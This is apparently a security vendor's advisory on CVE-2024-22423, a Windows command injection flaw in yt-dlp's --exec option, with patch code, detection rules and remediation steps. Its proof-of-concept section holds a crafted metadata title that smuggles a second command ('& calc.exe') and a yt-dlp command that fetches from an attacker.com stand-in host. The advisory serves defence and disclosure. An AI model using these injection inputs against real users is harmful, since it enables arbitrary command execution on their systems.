CVE-2024-22423

Executive Summary

CVE-2024-22423 is a critical command injection vulnerability in yt-dlp, a popular open-source command-line program for downloading videos from YouTube and other sites. This vulnerability is a bypass of the incomplete fix for CVE-2023-40581. The original patch attempted to prevent Remote Code Execution (RCE) via the --exec option by escaping double quotes, but it failed to prevent the expansion of environment variables (e.g., %PATH% on Windows). An attacker can craft a malicious video title or metadata that, when used with --exec and output template expansion (e.g., %(title)s), executes arbitrary commands on the victim's system. The vulnerability affects all versions from 2021.04.11 up to (but not including) 2024.04.09. The CVSS score is 8.4 (High), with a local attack vector but high impact on confidentiality, integrity, and availability.

Supply Chain & Package Security

yt-dlp is distributed via PyPI (pip install yt-dlp), GitHub releases, and various package managers. Users who install via pip are directly affected. The supply chain risk is moderate, as the vulnerability is in the application logic, not in a dependency. However, any system that uses yt-dlp with --exec and user-supplied metadata is at risk. Organizations should audit their use of yt-dlp and ensure all instances are updated to version 2024.04.09 or later.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) - The attacker must trick a user into downloading a malicious video or processing crafted metadata.
• Attack Complexity (AC): Low (L) - No special conditions required beyond the user running yt-dlp with --exec.
• Privileges Required (PR): None (N) - The attacker does not need any privileges.
• User Interaction (UI): Required (R) - The victim must run the command with the malicious input.
• Scope: Changed (C) - The vulnerability can impact resources beyond the original authorization scope (e.g., executing arbitrary commands).
• Confidentiality (C): High (H) - Full system compromise possible.
• Integrity (I): High (H) - Attacker can modify files or execute commands.
• Availability (A): High (H) - Attacker can disrupt services or delete data.

CVSS Score: 8.4 (High)

Deep Dive & Mechanics

The vulnerability lies in how yt-dlp handles the --exec option when used with output template expansion (e.g., %(title)s, %(id)s). The --exec option allows users to run a command after a download completes, with the file path or metadata passed as arguments.

In CVE-2023-40581, the issue was that double quotes in the metadata were not escaped, allowing an attacker to break out of the command string. The fix replaced " with "" (two double quotes). However, on Windows, this does not prevent environment variable expansion. For example, if the title contains %PATH%, the shell will expand it before the command is executed.

The patched version (2024.04.09) replaces % with %%cd:~,%. This is a clever trick: %%cd:~,% is a variable expansion that returns nothing (since cd is a directory, and :~, extracts an empty substring), leaving only the leading % character. This effectively neutralizes the % sign.

Attack Scenario:

1. An attacker uploads a video with a title like malicious%PATH%.
2. A user runs: yt-dlp --exec "echo %(title)s" <video_url>.
3. On Windows, the shell expands %PATH% to the actual PATH environment variable, potentially leaking sensitive information or, if combined with other characters, executing commands.

Vulnerable vs. Patched Code

Vulnerable Code (pre-2024.04.09):

# In yt_dlp/options.py or similar
def _escape_exec_arg(arg):
    # Only escapes double quotes
    return arg.replace('"', '""')

Patched Code (2024.04.09):

def _escape_exec_arg(arg):
    # Escapes both double quotes and percent signs
    arg = arg.replace('"', '""')
    arg = arg.replace('%', '%%cd:~,%')
    return arg

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Windows target (the vulnerability is most impactful on Windows due to % expansion).
• yt-dlp version < 2024.04.09 installed.
• User must use --exec with output template expansion.

Proof of Concept (PoC):

1. Create a malicious video file with a crafted title. For example, using ffmpeg:

   ffmpeg -f lavfi -i color=c=black:s=1280x720:d=10 -metadata title="%PATH%" malicious.mp4
   

2. Host the file on a local server or upload to a platform.
3. On the victim machine, run:

   yt-dlp --exec "echo %(title)s" http://attacker.com/malicious.mp4
   

4. The output will show the expanded PATH variable instead of the literal %PATH%.

Advanced Exploitation: To execute arbitrary commands, an attacker could use a title like:

%PATH:~0,1% & calc.exe & rem 

This would attempt to execute calc.exe after the PATH expansion. However, this is highly dependent on the shell and the exact command structure.

Blue Team (Detection & Hardening)

Detection:

• Monitor for yt-dlp processes with --exec flags.
• Look for unusual command-line arguments containing % signs.
• Use Sysmon Event ID 1 (Process Creation) to capture command lines.

Hardening:

• Immediately upgrade to yt-dlp version 2024.04.09 or later.
• Avoid using --exec with user-supplied metadata. If necessary, validate and sanitize all inputs.
• Use --exec with only {} (file path) which is safe.
• Consider using --print instead of --exec for metadata extraction.

Indicators of Compromise (IOCs)

• File Hashes: No specific hashes; the vulnerability is in the application logic.
• Process Names: yt-dlp.exe or python.exe (if run as script).
• Command-Line Patterns:
  • --exec followed by a string containing % and output template variables like %(title)s.
  • Unusual environment variable expansions in command output.
• Network Traffic: Downloads from untrusted sources with crafted metadata.
• Log Entries: Shell command execution logs showing expanded environment variables.

Detection Engineering

YARA Rule

rule CVE_2024_22423_yt_dlp_CommandInjection {
    meta:
        description = "Detects yt-dlp command injection via --exec with percent signs"
        author = "Valters IT"
        date = "2024-04-10"
        reference = "CVE-2024-22423"
        severity = "high"
    strings:
        $exec_flag = "--exec" nocase
        $percent_sign = "%" nocase
        $template_var = /%\([a-zA-Z_]+\)s/ nocase
    condition:
        $exec_flag and $percent_sign and $template_var
}

Sigma Rule

title: yt-dlp Command Injection via --exec (CVE-2024-22423)
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects yt-dlp execution with --exec flag containing percent signs and template variables
author: Valters IT
date: 2024/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-22423
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith:
            - '\yt-dlp.exe'
            - '\python.exe'
        CommandLine|contains|all:
            - '--exec'
            - '%'
            - '%('
    condition: selection
falsepositives:
    - Legitimate use of --exec with safe metadata
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-22423 yt-dlp Command Injection Attempt"; flow:to_server,established; content:"--exec"; http_client_body; content:"%"; http_client_body; content:"%("; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update yt-dlp to version 2024.04.09 or later.

   pip install --upgrade yt-dlp
   

2. Workaround: If upgrade is not possible, avoid using --exec with output template expansion. Use only {} for file paths.
3. Input Validation: If --exec is required, validate that metadata fields do not contain %, ", |, or &.
4. Alternative: Use --print to extract metadata instead of --exec.

Long-Term Measures:

• Implement application allowlisting to control which executables can run.
• Use endpoint detection and response (EDR) tools to monitor for suspicious command-line patterns.
• Educate users about the risks of using --exec with untrusted metadata.

Valters IT Signature:

Valters IT Cybersecurity Team
CVE-2024-22423 Analysis
Date: 2024-04-10
Classification: High Severity
Recommendation: Immediate upgrade to yt-dlp 2024.04.09